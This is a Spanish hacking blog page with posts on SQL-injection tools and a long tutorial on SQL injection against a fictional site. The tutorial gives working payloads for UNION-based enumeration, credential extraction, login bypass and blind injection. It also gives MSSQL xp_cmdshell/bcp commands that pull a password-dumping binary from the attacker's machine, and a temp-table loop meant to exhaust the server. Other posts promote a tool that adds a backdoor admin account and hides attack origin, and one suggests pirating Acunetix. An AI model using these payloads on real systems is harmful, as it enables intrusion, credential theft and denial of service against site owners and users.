Blog Enfocado A la Seguridad Informatica El Hacking y Exploits. Hacking, Exploits, Seguridad Web,Bugs, Virus, Descargas de Programas de Hacking, Defacing, Noticias Open source,Videos ,Manuales en fin un mundo diferente
domingo, 14 de febrero de 2010
GreenSQL – Firewall Software
GreenSQL Arquitectura
GreenSQL funciona como un proxy inverso para las conexiones de MySQL. Esto significa, que en lugar de conectar al servidor MySQL, las aplicaciones se conectará al servidor de GreenSQL. GreenSQL analizará las consultas SQL y, a continuación, si están a salvo, se remitirá a la parte final del servidor MySQL.
Nuevos Cambios
En esta versión, GreenSQL proporciona soporte nativo para PostgreSQL (http://www.postgresql.org) bases de datos para la primera vez. De hecho, GreenSQL es el servidor de seguridad de base de datos única (Open Source o cerrado) disponibles para la protección de las bases de datos PostgreSQL muchos actualmente en uso.
GreenSQL 1,2 combina la GreenSQL paquete de consola en el GreenSQL-FW. El GreenSQL-consola ya no será lanzado como un paquete separado. Durante el proceso de instalación, usted podrá elegir si desea o no instalar la consola.
Usted puede descargar GreenSQL v1.2 aquí: Click Aqui.
O Leer Mas Sobre el Software Aqui.
sábado, 12 de septiembre de 2009
MYSQLOIT to0l de inyecciones sql para LAMP
Asi como saben cuando van probando inyecciones los atacantes se enfrentan a muchas limitaciones o restricciones a la hora de ir probando.
Como la falta de consulta o (strings) en el comando sql que van probando y por esa razon Mysql es una plataforma de gestion de base de datos no muy seguro, la ejecucion de codigo remoto.. esta herramienta automatiza todo el proceso incluyendo consultas que podemos pasar por alto.
Las Caracteristicas de la Herramienta son:
Ejecucion de inyeccion Basado en tiempo de la misma
Huellas Digitales De La Base De Datos
Huellas Digitales del servidor web
Creacion De Payloads (tipo metasploit) y ejecucion de los mismos
==============================================
La Herramienta actualmente esta siento testeada en plataforma Linux, asi que no dudaria que la desarrollen tambien para windows,esta en su pleno desarrollo la misma.
os invito que la prueben y como recomiendan en Darknet les dejen sus opiniones al autor de la misma, asi pueden haber varias mejorias.
Descarga De La misma:
MySqloitv0.1.tar
Web Sobre Ella:
Aqui.
salu2
miércoles, 29 de julio de 2009
Cubriendo Y Aplicando Teorias De Inyecion Sql
###################################
#Author: Bryant Arias #
#Colaborators: Antrax #
#blog: http://h4xxor.blogspot.com #
#web: http://underc0de.org #
#contact: blood_rec@el-hacker.org #
###################################
##################################
# Cubriendo Y Aplicando Teorias De Inyecion Sql
##################################
==================================
A-Introduccion:
Este Paper pretende cubrir 2 areas Teoria Y Practica si no te gusta leer mucho simplemente Erase (borra) el paper con este paper pretendemos cubrir todo lo referente recopilando info y con los conocimientos limitados que tenemos queremos simplemente dar una guia referente al tema es como el Paper de "Defacing De La Manera Correcta" pero esta vez con practicas y lectura para entretener al usuario que quiere adentrarse en el tema del defacing.
es imprecindible que no traten de saltar ninguna area ya que pretendemos cubrir lo mas extenso posible para que tenga un buen enfasis de lo que realizan y el escenario que enfrentaremos alla afuera en la web
ya e escribido varias veces sobre las vulnerabilidades webs y ciertamente cada vez que pasan los dias la tecnologia y la web se va moviendo a pasos Agigantados hasta el punto que se a vuelto en el medio publicitario mas grande de estos dias.
pero a medida que nos movemos muchos quieren convertirse en desarrolladores de aplicaciones asi como webmasters u administradores de servidores webs,la competencia es amplia y asi como es amplia las vulnerabilidades aumentan asi como las viejas (vulnerabilidades) siguen haciendo presencia en nuestros scripts (me incluyo) por que estamos sujetos a cometer errores con nuestras aplicaciones.
ya los que me conocen saben que soy bien teorico en este tema y me gusta abarcar el medio Pero Por que lo hago? el conocimiento del hombre esta bajo unas letras y mientras mas entendamos el tema podemos aplicar todo lo que se explica dentro de el.
En este paper estaremos cubriendo las areas mencionadas en el menu arriba y asumimos que la practica la llevaras a cabo en tu servidor local L.A.M.P <> W.A.M.P, sea el escenario en una red LAN de tu propiedad o el escenario ya mencionado pero asumimos que todo es con motivo educacional y proponiendo los problemas ya mencionados en el tema.
asumimos que si estas leyendo este paper tienes conocimientos basicos de php si no es asi puedes pasar por http://php.net y ahi podras encontrar mucha info al respecto, asi como puedes encontrar informacion en http://google.com = search - php manuales xD. y pases por el buscador a buscar referencias sobre lo que no entiendan asi como los otros lenguajes al menos conocimientos basicos como en perl,html,javascript etc pero al menos lo basico...
Segun Wikipedia:
SQL Injection es una vulnerabilidad en el nivel de la validación de las entradas a la base de datos de una aplicación. Una inyección SQL sucede cuando se inserta o “inyecta” un código SQL “invasor” dentro de otro código SQL para alterar su funcionamiento normal, y hacer que se ejecute maliciosamente el
código “invasor en la base de datos.
bueno a lo que vivnimos...
#####################################
B-Inyecciones SQL (SQL Injections):
Primero asumo que llegastes a este manual por que quieres aprender como se realiza este ataque y muchas veces debes haber leido esta explicacion pero muchos que empieza este tema pues aun no se enteran de que se trata esto y que significa pues como lectura obligatoria pongo su significado.
Inyeccion Sql Es cuando un comando SQL que es un lenguaje de gestion de datos es ejecutado con las intenciones de obtener data de una base de datos,en palabras mas tecnicas estamos haciendo una consulta arbitraria de un comando peviamente establecido., y de esa manera manipulamos la aplicacion que queremos.
No es algo muy avanzado ni muy nuevo en nuestro mundo under y realmente se pregunta constantemente pero que herramientas debo usar para hacer inyecciones sql's ?
realmente no nesesitas muchas tools con solo firefox bastara xD http://mozzila.org/firefox ,...
explotar validaciones de aplicaciones que se gestiones por base de datos mysql son el escenario que realmente perseguimos o un ejemplo de probar dicha vulnerabilidad,...
Obviamente no puedo llenarlos de letras explicando todo esto todo el dia por que igual me criticarian y a mi me facina escribir pero en fin vallamos mas adelante:
1-Detectando La Vulnerabilidad:
Bueno lo primero que nesesitaremos es obviamente la curiosidad y la malicia pongamos el escenario asi; entramos en una pagina dinamica en php y nos pide una autentificacion., obviamente no la tenemos y tendremos que registrarnos interactuando con una forma en php que asi mismo ella interactua con una base de datos para incluir el usuario.
ok para saber como interactuan ambas sabmos que cuando registras un usuario en una forma y queda registrado en la base de datos quedan guardados en una tabla o en muchas de ellas seria en la tabla de miembros y el usuario asi como el password quedan guardados en diferentes columnas., detente si no tienes idea de esto es hora que te pases por http://wikipedia.org/SQL .
Cuanod te logeas en la forma la aplicacion busca la DATA del usuario en la tabla del usuario que proporcionastes asi como el password, asi la aplicacion despues de encontrar el usuario y contrasena que suplistes te dejara logearte en dicha aplicacion., si se diera el caso que los datos son icorrectos pues la aplicacion te lo informara que los datos son icorrectos o el usuario que proporcionaste no existe etc., ya a de haberle pasado alguna vez..
SQL puede darte estos datos en pantalla tambien y mostrar la informacion dentro de una palicacion web., eso en el ejemplo de las formas de logeo asi como si la aplicacion tiene una seccion de posteo de links pues tendra una tabla en la base de datos que guarda y gestiona los links publicados, lo mismo para noticias, una tabla que guardara los nombres de las noticias, en este caso la mayoria de las veces estas noticias u cosas,artculos se identifican la mayoria de las veces en las tablas por un numero.
como nos damos de cuenta cual es ese numero si miramos la url del sitio que estamos probando dira o sera asi
---> [ www.webquenoesdelgobierno.com/articulos.asp?ArticuloID=69 ]
la url le dice al sitio ue mire la tabla que tiene el nombre del articulo que es :
[ ArticuloID que es "69" ]
Una vez que el sitio busca la tabla del "ArticuloID" que se Busca la misma linea que se llama "Titulo" Dentro de la columna y la muestra en tu navegador.
En este otro caso veremos "lammer" como titulo de nuestro Articulo, recuerden que es bien importante ver que esta escrito despues de '=' que es parte de un comando SQL siempre tengamos eso en mente:
####################
#Articulo_Id#Titulo#
#===========#======#
#69 #lammer#
#70 #kiddie#
#71 #noob #
####################
OK y entonces que es lo que debemos hacer ya que tenemos nuestra victima? ok ejecutaremos comandos manualmente a ver si nuestra aplicacion es vulnerable,realizando nuestras consultas via navegador (firefox) xD, ejecutaremos ese comando siempre despues de '=' si es el caso que queremos inyectar en la forma que nos muestra los articulos,etc., si es el caso que es una forma de autentificacion sease usuario + password pues los comandos los ejecutaremos en los campos mencionados. como una barra de busqueda una barra de usuario o password.
si es vulnerable siempre el sitio hara lo que le digas que haga solo manipulando las consultas SQL xD
Es muy importante siempre leer y aprender sobre lo que estas haciendo aprender los comandos y todo aplicarlo a full ya que de esa manera la practica te hara un maestro. Memorizarte poco a poco te hara bien y entonces nos familiarizamos con algunos comandos SQL:
#######################
Comando ## Uso #
=======================
ORDER BY Le Ordena Al sitio que nos muestre la columna en la misma pagina que estamos visualizando#
OR El Comando se usa si una sentencia es verdadera dentro de la consulta SQL #
+ Se Usa En Vez De Usar Espacio Lease,Entiendase la tecla de Espacio [Space] #
-- Termina Una sentencia de comandos SQL asi como lasm ';' en perl etc #
AND Ambas consultas tienen que ser verdaderas dentro de la base de datos Para ser llevada #
UPDATE Cambia la informacion dentro de una Columna O Una Tabla #
SELECT Especifica Informacion En una Tabla #
##################################
La manera mas sencilla de aplicar una inyeccion sql,es burlando autentificaciones,que son nada mas o menos que las autentificaciones de usuario y password:
pero en este caso probaremos con una consulta bien elemental dentro del mundo de las inyecciones sql y es con tan simple el uso de (') comilla , sabemos que en la forma el usuario y el password esta rodeado de comillas simples "'" entonces si sometemos a la forma una simple comilla te arrojara un error dado que hay 2 "'" (comillas) invisbles en la forma si sometemos a' te arrojara el error comun cuando hay un error de consulta SQL en el servidor obviamente nos daremos cuenta pero que realmente esta pasando detras de nostros ?:
cuando sometimos ' el servidor envio una consulta a la base de datos para interpretar ' que en los campos mencionados arriba estan rodeados de ellas 'usuario' seria el ejemplo al servidor no encontrar nada en la base de datos que consulte ese comando ni en las tablas ni en las lineas ni en las columnas por ende es un error del programador (entiendase) una vulnerabilidad aunque no en todos los casos.
siempre dentro de una base de datos tenemos el INFORMATION_SCHEMA que guarda cada nombre de las tablas y de las columnas de un sitio en siempre un servidor tendra el INFORMATION_SCHEMA como dato obvio su nombre nunca cambiara las tablas dentro de INFORMATION_SCHEMA que guarda los nombres de las otras tablas tendran una tabla dentro que se llamara INFORMATION_SCHEMA.TABLES el nombre de la columna que guarda la informacion que practicamente queremos se llama a su vez table_name la tabla que guarda el nombre de las otras columnas dentro de INFORMATION_SCHEMA se llama INFORMATION_SCHEMA.COLUMNS y sucesivamente la columna que guarda la informacion que queremos de esta parte se llama column_name recuerden que esto es dentro de INFORMATION_SCHEMA.COLUMNS., ya se les esta haciendo claro no?. xD
como explique antes podemos siempre encontrar la caracteristica que el sitio web que gestiona la base de datos siempre tiene "=" en su URL por ende que para ejecutar los comandos tenemos que hacerlo luego de "=" ok simplemente prueba con los comandos o consultas despues de...
ok vamos a nuestro escenario imaginario:
estamos navegando y nos encontramos nuevamente con la web:
--> [ www.webquenoesdelgobierno.com/articulos.asp?ArticuloID=10 ]
ok vamos a determinar si es vulnerable
--> [ www.webquenoesdelgobierno.com/articulos.asp?ArticuloID=10+AND+1=0-- ]
bueno aqui lo que paso fue lo siguiente es que se supone que se muestre el articulo 10 solo se mostrara si 1 es igual que 0, en este caso "AND" significa que para que el articulo 10 se muestre en el sitio debe existir (en la base de datos) "AND" 1 debe ser igual que 0, esto ocacionara que no se muestre el articulo ya que 1 no es igual que 0 .
--> [ www.webquenoesdelgobierno.com/articulos.asp?ArticuloID=10+AND+1=1-- ]
se muestra el articulo 10 si el 1 es igual que el 1 .,el articulo se mostrara en la pagina ya que "AND" 1 es igual que 1 .,Ahoea sabemos que la aplicacion es vulnerable ya que se muestra cuando queremos y no lo haces cuando queremos xD., es hora de continuar con nuestro ataque ;-)
Ahora queremos encontrar las columnas de nuestro sitio:
--> [ www.webquenoesdelgobierno.com/articulos.asp?ArticuloID=10+ORDER+BY+1-- ]
"ORDER BY 1" donde esta "1" es el numero de la columna lo que hace es mostrarnos la primera columna en la pagina.,"ORDER BY 2" nos mostrara la 2 columna en la pagina., sucesivamente vamos aunmentando los valores del numero sumandole (+) uno hasta que nos muestre un error en la pagina y entonces cuando nos muestra el error la restamos uno de los numeros que pusimos y no te olvides de ese numero por ejemplo si sumastes numeros y te dio el error cuando pusistes hasta 6 entonces seria asi:
--> [ www.webquenoesdelgobierno.com/articulos.asp?ArticuloID=10+ORDER+BY+5-- ]
bueno ya sabemos que tiene 5 columnas la aplicacion., ahora queremos conseguir el nombre de las tablas que ya arriba habiamos mencionado este comando pues eso lo haremos de esta manera:
[ www.webquenoesdelgobierno.com/articulos.asp?ArticuloID=-1+UNION+SELECT+1,2,3,4,5+FROM+INFORMATION_SCHEMA.TABLES-- ]
OK expliquemos esa sentencia SELECT Le indica al sitio que muestre la informacion de la tabla que usted especifica.,en este caso acabamos remplazando el numero del articulo que era 69 por un caracter negativo "-".,recordemos tambien que en pasos anteriores para buscar la columna ibamos sumandole numeros y agregandolos a la url pues en este caso los vamos poniendo uno al lado del otro separados de una coma "," (1,2,3,4,5).
Se supone que a estas alturas uno de esos numeros que pusistes en la consulta de la URL al menos uno se muestre en el website (pantalla).
ahora lo que iremos es remplazando los numeros en la URL por palabras si se van mostrando en la pantalla..
[ www.webquenoesdelgobierno.com/articulos.asp?ArticuloID=-1+UNION+SELECT+1,2,3,nombre_tabla,5+FROM+INFORMATION_SCHEMA.TABLES-- ]
Recuerden que deben remplazar un al menos uno de los numeros con "nombre_tabla" que es el nombre de la tabla.,FROM+INFORMATION_SCHEMA.TABLES recuerden tambien que esto te mostrara el nombre de la tabla que ya eso lo explicamos arriba.,el nombre de la tabla numero 4 que fue la que remplazamos se mostrara en la pantalla.,...
[ www.webquenoesdelgobierno.com/articulos.asp?ArticuloID=-1+UNION+SELECT+1,2,3,nombre_tabla,5+FROM+INFORMATION_SCHEMA.TABLES+WHERE+nombre_tabla>'displayed_table'-- ]
Estamos seguros que "nombre_tabla" no es la que buscamos y la que queremos es la que tiene los usuarios y los passwords.,para navegar una lista de tablas y encontrar la tabla correcta agregamos:
[+WHERE+nombre_tabla>'displayed_table']
Displayed_table muestra la tabla incorrecta despues de TABLES por ende este comando displayed_table nos muestra la tabla siguiente despues de.,entonces lo que hacemos es que repetimos el paso anterior hasta que nos muestre una tabla deseada que en este caso la que queremos es la que contenga los usuarios.,ya cuando la consigas no olvides el nombre de la tabla que querias.,
Ahora queremos sacar nuestra columna o nombre de la columna:
[ www.webquenoesdelgobierno.com/articulos.asp?ArticuloID=-1+UNION+SELECT+1,2,3,nombre_columna,5+FROM+INFORMATION_S
CHEMA.COLUMNS+WHERE+nombre_tabla='CuentasUsuarios'-- ]
Entonces FROM+INFORMATION_SCHEMA.COLUMNS lo que hace es mostrarnos el nombre de las columnas en la tabla 'CuentasUsuarios'.,ahora en vez de mostrarse el nombre de la tabla se mostrara el nombre de la columna en la tabla 'CuentasUsuarios'..
como en pasos anteriores tenemos un blanco especifico y ahora en este caso buscar la columna especifica:
[ www.webquenoesdelgobierno.com/articulos.asp?ArticuloID=-1+UNION+SELECT+1,2,3,nombre_columna,5+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+nombre_tabla='CuentasUsuarios'+AND+nombre_columna>'displayed_column'-- ]
como reiteradamente mencione antes,queremos buscar la columna especifica de igual manera que hicimos para conseguir la tabla de usuarios antes.,si lo que queremos son los usuarios y passwords pues sabemos que debemos buscar las columnas que tengan nombres similares a usuarios,passwords,user,pass,logeo,acceso etc.
el comando anterior lo que hace es mostrar la columna que va siguiente a la mostrada que habiamos sacado previamente, y como ya mencione en el paso de sacar las tablas repetiremos los pasos hasta dar con la columna que queremos.
y ya dimos supuestamente con las columnas que queriamos que se llaman 'usuario' 'acceso' no olvidemos estas columnas tampoco,asumiendo que apuntaron los resultados para tener nuestra inyeccion final recordamos que los datos serian asi
##################################
#Nombre de Tabla Columnas#
##################################
#CuentasUsuarios usuario #
# acceso #
##################################
[ www.webquenoesdelgobierno.com/articulos.asp?ArticuloID=-1+UNION+SELECT+1,2,3,usuario,5+FROM+CuentasUsuarios-- ]
Este comando nos muestra la primera data de la columna "usuarios" de la tabla "CuentasUsuarios".
Digamos que la pagina nos mostro 'Cascanola' xD
[ www.webquenoesdelgobierno.com/articulos.asp?ArticuloID=-1+UNION+SELECT+1,acceso,3+FROM+CuentasUsuarios+WHERE+usuario='Cascanola'-- ]
Este comando nos mostrara el password del usuario 'Cascanola' que esta guardado en la tabla 'CuentasUsuarios'.,entonces en nuestra pagina se nos tiene que haber mostrado el password del usuario que en nuestro ataque imaginario es "12345678" xD...
entonces al final de nuestro ataque nos logueamos con el usuario 'Cascanola' y el password '12345678' xD Ewww...
recordemos que este escenario solo es suponiendo las paginas y las consultas se aplicaran con la pura logica del usuario..
ok podemos aplicar mas o menos los mismos metodos en otro tpo de base de datos no nesesariamente sql server, mssql de mocosoft xD, en fin las tecnicas mas o menos iguales aqui una rapida introduccion la misma web escenario pero en php..
[ www.webquenoesdelgobierno.com/index.php?id=0 ]
lo mismo que ya deben saber despues de "=" es nuestro articulo por ende la consulta a la base de dato y que si fuera el caso que fuera vulnerable nuestra aplicacion la inyeccion va a partir de "=".,
esta vez usamos de ejemplo un formulario de logeo y lo primero que usaremos el articulo siendo "=0" sera
[ ‘OR 1=1--]
ok ya tenemos claro muchas cosillas debido a la lectura hasta este momento xD usaremos ese comando en los campos de logeo osea donde dice usuario y password,usemos otro ejemplo pero directo a la URL:
[ www.webquenoesdelgobierno.com/index.php?id=0 ‘OR 1=1-- ]
usualmente este lo usamos cuando es una inyeccion a ciegas que meramente hablaremos de ella mas adelante por consecuente haz de haber investigado de mas comandos SQL para sacar info dentro de las base de datos podemos usar muchos otros strings u comandos.
admin'--
' or 0=0 --
" or 0=0 --
or 0=0 --
‘hi or 1=1--
hay muchas tecnicas abarcadas dentro del tema de las inyecciones sql de las que podemos poner muchicimas pero no quiero aburrirlos en el tema repetitivo y algo que quiero recrdarles que dentro de la base de datos no solamente podemos atacar con inyecciones SQL los Buffer Overflows que es un Ataque bien interesante y uno de los metodos favoritos de este servidor se pueden realizar dentro de ellas pero por ahora eso es en otro capitulo.
es bien impotante recordar que muchas veces nos enontramos con tal aplicacion y ni sabemos que tipo de base de datos gestiona pero eso lo iras mejorando durante el camino si aun asi no sabes como dar con ella puedes intentar con zenmap es una herramienta indispensable a la hora de hacer pentesting.
Ahora sigamos con el tema de las inyecciones en este caso las inyecciones a ciegas o como se conoce en ingles Blind SQL Injection.,ok explico que es esto usualmente cuando inyectamos una aplicacion y manipulamos la base de datos usualmente nos da los errores tipicos que nos indican si es vulnerable o no.,a raiz de esto los adminsitradores solo prohibe la muestra de errores en la programacion para que no sean mostradas en el sitio web para prevenir futuros ataques.
saben que administradores esto no los salva del todo xD igual si no muestra los errores puede ser vulnerable a inyeccion a ciegas ;-)
ok vamos a nuestro escenario imaginario para explicar mas sobre el asunto.digamos que nuestra webquenoesdelgobierno tiene una seccion que le da la oportunidad a sus empleados a ver los memos en linea de la empresa que son publicados blablabla la historia que ustedes quieran:
[ www.webquenoesdelgobierno.com/memodat.jsp?memodatID=2 ]
entonces el comando que usara la web para buscar la data en la base de datos y mostrarse en la web sera este:
[ SELECT title, description,memoDate, body FROM memodats WHERE memodatID = 2 ]
y entonces el servidor respondera mostrando el 2 memo hecho por la empresa en forma de HTML para que pueda ser visualizado en dicha pagina (obviamente) y es lo que vemos con nuestros navegadores.
para probar si nuestra aplicacion es vulnerable traten de injectar un caracter mas despues del Parametro Comando WHERE y veamos que pasa?
[ www.webquenoesdelgobierno.com/memodat.jsp?memodatID=2 AND 1=1 ]
por resultado el website realiza la siguiente consulta:
[ SELECT title, description, memoDate, body FROM memodats WHERE memodatID = 2 AND 1=1 ]
si por resultado la pagina se muestro con el 2 memo o sea la pagina normal que vistes al principio antes de hacer esa consulta pues tenemos una apliccion vulnerable a inyeccion SQL a ciegas.,si la aplicacion no fuera vulnerable pues simplemente la pagina no mostraba el memo o sea nuestra pagina por que el usuario hizo una mala consulta a la base de datos.
Cuanod probamos la aplicacion el Parametro WHERE es predecible 1=1 siempre sera nuestro inicio por ende real (exite) pero no siempre sabemos si es true entonce por que no le preguntamos a la base de datos directamente?:
[ www.webquenoesdelgobierno.com/memodat.jsp?memodatID=2 AND USER_NAME() = 'dbo' ]
USER_NAME() s un parametro que te muestra el nombre del usuaro actual si el usuario actual es 'dbo' (el administrador) entonces el memo se mostrar (nuestra pagina) si no es asi no se mostrara tan sencillo como eso.
entonces podemos de muchas maneras seguir sacandole info a la aplicacion como nombre de la tabla un numero a la vez como la que ya aplicamos pero de otra manera:
[ www.webquenoesdelgobierno.com/memodat.jsp?memodatID=2 AND ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'), 1,1))) > 109 ]
El Parametrdentro de la consulta 'SELECT' pregunta el nombre de la primera tabla del usuario de la base datos que obviamente siempre es lo primero que queremos haces a la hora de sql injection.,el parametro dentro de la consulta substring() esta funcion nos mostrara el primer caracter de nuestra consulta, el parametro lower() dentro de la consulta lo que hace es convertir ese caracter en letra minuscula, y finalmente el parametro ascii() dentro de la consulta lo que hace es mostrarnos ese caracter en ascii o sea el valor ascii, claro? XD ehh
si el servidor nos responde mostrando la pagina que normalmente estabamos visualizando o sea el memo pues sabemos que la primera letra de la consulta esta despues de m en ascii es valor 109,haciendo algunas consultas podemos dar con el valor exacto de la letra.
[ www.webquenoesdelgobierno.com/memodat.jsp?memodatID=2 AND ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'), 1,1))) > 116 ]
si no se mostro nuestro memo (la pagina) pues el valor ascii es mayor que 109,pero menor que 116 la letra esta entre 'n' y 't'.
[ www.webquenoesdelgobierno.com/memodat.jsp?memodatID=2 AND ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'), 1,1))) > 113 ]
otro falso(pagina no mostrada) pues debe estar entre '110' y '113'.
[ www.webquenoesdelgobierno.com/memodat.jsp?memodatID=2 AND ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'), 1,1))) > 111 ]
falso nuevamente :O pues debe estar entre estas dos letras 'n' y 'o', entonces continuamos cambiando un poco la consulta:
[ www.webquenoesdelgobierno.com/memodat.jsp?memodatID=2 AND ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'), 1,1))) = 111 ]
El servidor nos muestra nuestro memo (pagina) asi que es positivo nuestro nombre de tabla en este caso es 'o' asi como la primera tabla de ella,para sacar la segunda letra repetiremos el proceso pero cambiaremos el parametro de consulta en substring() que el parametro seria el numero que va despues de 'xtype='U'),.
[ www.webquenoesdelgobierno.com/memodat.jsp?memodatID=2 AND ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'), 2,1))) = 109 ]
Repitamos el proceso hasta que nos de la palabra completa el problema de las inyecciones SQL a ciegas (Blind) es que tienen que hacer Hartas peticiones para dar con su objetivo,algo que lo pueden arreglar mientras van puliendo sus tecnicas.
repasemos otra vez atras con lo fundamental y su ejercicio es aqui es imaginarse el escenario y analizar la estructura del codigo SQL para saber de que manera es vulnerable analizemos este codigo:
[SQLQuery = "SELECT Username FROM Users WHERE Username = '" &
strUsername & "' AND Password = '" & strPassword & "'"
strAuthCheck = GetQueryResult(SQLQuery)
If strAuthCheck = "" Then
boolAuthenticated = False
Else
boolAuthenticated = True
End If]
ahora ustedes ya deben saber que cuando nos encontramos con una forma de logeo y password este codigo o similar es lo que tenemos en la base de datos vulnerable,entonces cuando metes los datos de usuario la consulta verifica en las tablas si hay algunos datos que concuerden con la data que acabas de admitir. si la data es encontrada pues eso se guarda en la variable strAuthCheck indicando que el usuario debe ser autentificado,si se diera que el usuario que accedimos no concuerda con ninguna de la data de la base de datos entonces la variable strAuthCheck se queda vacia por que el usuario no puede ser autentificado.
si las variables strUsername y strPassword tienen algun caracter que usted quiere pues usteden pueden modificar la consulta SQL para que le devuelva el nombre que ustedes quieren,sin nesesidad de saber el password u/o el usuario.pero eso les quedo ya bien claro atraves de la lectura solo que lo enfatizo mas para que se hagan de una idea totalmente clara,pueden decir pero si ya explicastes eso arriba. no esta demas refrescar el cocote xD.
ok preparemos otro posible escenario pero esta vez en sql server y digamos que ya obtuvistes los datos que quieres,entonces quieres ganar priilegios dentro del servidor y subir archivos al mismo muchos de los puertos que se podrian utilizar el firewall los bloquea como lo son los puertos 137-139.,lo que haremos es subir un archivo binario en una tabla creada por ti mismo directo en la base de datos y luego saltandolo a los directorios del server. xD
una manera bien rara pero todavia funciona
entonces crearemos una tabla en el servidor:
[ create table TablaMaligna (data text) ]
Despues de haber creado la tabla subiremos nuestro binario a la mismisima tabla que hemos creado:
[ bulk insert TablaMaligna
from 'pwdump.exe'
with (codepage='RAW') ]
El binario podemos descargarlo de manera remota al servidor victima con el siguiente comando:
[ exec xp_cmdshell 'bcp "select * from TablaMaligna" queryout
pwdump.exe -c -Craw -ipnuestra -Rus -N3n3Bueno' ]
este comando va a suceder una conexion entrante a nuestra pc y escribiendo los comandos en el ejecutable que estamos recreando,en este escenario usaremos el protocolo por defecto asi como el puerto por defecto que puede ser que el firewall bloquee esa conexion entonces haremos:
[ exec xp_regwrite
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\MSSQLServer\Client\ConnectTo',
'N3n3Bueno','REG_SZ','DBMSSOCN,ipnuestra,80'
]
luego :
[ exec xp_cmdshell 'bcp "select * from TablaMaligna" queryout
pwdump.exe -c -Craw -go0ns -Rus -N3n3Bueno' ]
el primer comando SQL configurara una conexion remota interactiva en el puerto -80 hacia nuestra maquina mientras el segundo comando SQL se conectara con nuestra maquina a traves del puerto -80 para descargar nuestro archivo binario..
entonces se preguntaran por que tanto revolu y tanta cosa pero lo que queremos enfatizar con este paper es cubrir el tema por completo en cada una de las tecnicas usadas.antes de llegar a usar los scanners y cosas y algo que veo bien comun es la costumbre de usar el SSS :O si ese mismo scanners que te arroja un 80% de falsos positivos a sabiendas que a manos pueden hacer muchicimas cosas.
ahora iremos algo mas teorico sobre esta vulnerabilidad para acabar con este capitulo a la hora de buscar la vulnerabilidad de esa aplicacion debemos tener bien en claro que el cliente debe comunicarse con el servidor y cuales son nuestros objetivos dentro de la ejecucion de la inyeccion.
despues de obtener los privilegios o que ya tengamos claro que la aplicacion es vulnerable podemos hacer muchas cosas inclusive un ataque de denegacion de servicio:
[ create table #tmp (x varchar(8000))
exec('insert into #tmp select ''X''')
while 1=1 exec('insert into #tmp select * from #tmp' ]
si haciendo esa consulta y manipulando los comandos podemos crear una tabla y correra con un loop infinito insertando variables en la tabla :O., las tablas temporeras se guardan en el sistema temporero de la base de datos y eventualmente nuestra base de datos temporal crecera resultando en el consumo de todos los recursos,y por ende el sistema cae al no poder comunicarse con la base de datos.
#######################################
las tecnicas son muchicimas y podemos continuar ire agregando mas tecnicas dado que la necesidad que vayan por un paso a paso en estos tiempos es imprecindible. continuaremos con el proximo capitulo y espero que esta introduccion les haya gustado. por ahora terminamos aqui a pasar a lo proximo
========================================
###########
#Bryant Aria#
###########
viernes, 19 de junio de 2009
Acunetix 6.5 Lanzado Scanner De Vulnerabilidades
y el Acunteix 6.5 fue lanzado supuestamente fueron arreglado y corregidos algunos bugs que tenia y se le hicieron una que otra mejora.
yo personalmente no lo e probado ni nada asi que realmente no puedo indicarles como es su performance en los servidores
tiene algunas cosas nuevas como recargar las paginas ey darle replay estilo live http headers o algo similar xD.
se le agregaron strings de sql injection para que todos los script kiddies que hay en la red se puedan divertir aun mas xD..asi como mas soporte para tomcat y otras aplicaciones webs realmente la interfaz no cambio practicamente es la misma que la pasada.
en fin mas herramientas para erradicar el elitismo de la la red o como dirian muchos enviandome mas mensajes
"es para hacer el trabajo mas facil,o para un auditor es una herramienta indispensable,los responsables de las auditorias IT saben que es lo mejor"
bla bla en fin pruebenla a ver lo mas lindo es el precio de la herramienta Aqui
pero nada que no se pueda conseguir por ahi como en warez bb o algo asi
salu2
sábado, 3 de enero de 2009
MultiInjector v0.3 Liberada- SQL Injection y Herramienta de Defacement Automatica
Características
- Recibe una lista de URL como entrada
- Reconoce los parámetros URL de la lista
- Realiza Fuzzing a todos los parámetros de URL para concatenar los carga útil una vez que la inyección se realiza correctament
- Ejecuta comandos - a distancia que permite Ejecutar una xp_cmdshell en el servidor SQL, posteriormente, ejecutar comandos en cualquier sistema operativo arbitrarias líneas de comandos introducidos por el usuario.
- Configurable a conexiones paralelas exponencialmente acelera el proceso de ataque - una carga útil, múltiples objetivos, ataques simultáneos
- Uso opcional de un proxy HTTP para ocultar el origen de los ataques
Cambios
- Trata de concatenar una cadena a todos los definidos por el usuario en los campos del texto del PP (defaceo automatico)
- ejecuta cualquier comando como si estas usando una consola de comandos en la máquina (Victima)
- Ejecutar comandos SQL de su elección
- Activa el procedimiento de shell OS PP - Revive los viejos xp_cmdshell en el que se apaga
- Añade usuario administrativo (maquina victima) al servidor con contraseña: T0pSeKret
- Habilitar escritorio remoto en el servidor (victima)
- Añadido / tipo de parámetro de cadena de detección (numerico)
- Se Mejor la manipulación por desfiguración contenido escapar comillas
- Soporte mejorado para sistemas Linux
- Fija el "número inválido de conexiones simultáneas" fracasado debido a la falta de parámetros URL
Puede descargar aquí MultiInjector v0.3..
martes, 20 de mayo de 2008
Introduccion a Ataques Aplicaciones webs (Nivel Novato)
Introduccion a Ataques Aplicaciones webs (Nivel Novato)
--= WebHacking --
-= Intro -
en este tutorial, vamos a discutir las vulnerabilidades, y qué va mal con el server, y algunas formas de explotar ...
Disfrute!
Tutorial: [Básico | | 1]
+------------------------------------------+
|
| | Principiantes | |
|
+------------------------------------------+
Cosas a saber:
Vulnerabilidad: un agujero de seguridad puede ser explotado para cambiar la forma en que el webapp / software / funcione.
=- CMS, Foros utilizan bases de datos para almacenar la información como usuarios, los puestos, los hilos, mensajes y así sucesivamente, por lo general su / la mayoría de un servidor MySQL.
=- RFI [Inclusión del fichero remoto]: un usuario malicioso puede incluir una "mala aplicacion" o código a ser ejecutado en el sitio vulnerable.
=- LFI [Inclusión de archivos locales]: un usuario malicioso puede abrir cualquier archivo en el servidor.
=- SQL Inyección: La inyección de una consulta MySQL para eludir o recibir más información de una base de datos.
